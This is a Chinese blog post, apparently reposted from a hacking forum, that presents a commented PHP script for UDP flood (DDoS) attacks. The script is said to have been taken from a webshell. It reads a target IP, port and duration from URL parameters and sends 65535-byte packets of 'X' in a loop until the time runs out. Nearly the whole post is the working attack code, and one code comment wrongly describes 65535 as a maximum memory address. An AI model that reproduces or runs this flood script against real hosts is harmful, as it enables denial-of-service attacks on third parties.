PHP使用udp模拟http请求实现DDOS攻击

声明:这篇文章中的代码是我Copy的,原作者:小Dの马甲 原文章地址:http://bbs.blackbap.org/thread-2233-1-5.html

原作者是2011年写的这篇文章,那么为什么我现在才复制过来呢?因为当时我看到这篇文章的时候完全看不懂啊!不过感觉好高端,以至于给我留下了很深的印象,过了四五年都还记得......

这段时间正在学习PHP,偶然间又遇见了,所以拿来写写注释。

据原作者说这代码也不是他本人写的,具体谁写的他也不清楚,因为这段代码是他从一个国外的webshell上面搞到的。

废话不说了,贴出注释过的代码:

<?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
//设置允许脚本运行的时间,单位为秒;如果设置为0(零),没有时间方面的限制。
set_time_limit(0);
//设置客户端断开连接时是否中断脚本的执行,当设置为FALSE时表示浏览器断开后脚本不再继续执行。默认为FALSE
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
//返回当前的 Unix 时间戳 
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
//for循环创建一个长度为65535的字符串,内容为“X”,65535一般是内存地址最大值:1×1111111
for($i=0;$i<65535;$i++){
		//字符串拼接
        $out .= "X";
}
//无限循环
while(1){
$packets++;
		//直到执行时间到达所设置的时间($exec_time)就终止
        if(time() > $max_time){
                break;
        }
        //执行fsockopen()函数。打开网络的 Socket 链接,resource fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
        		//向打开的链接中写入数据($out-65535个"X")
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>


  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值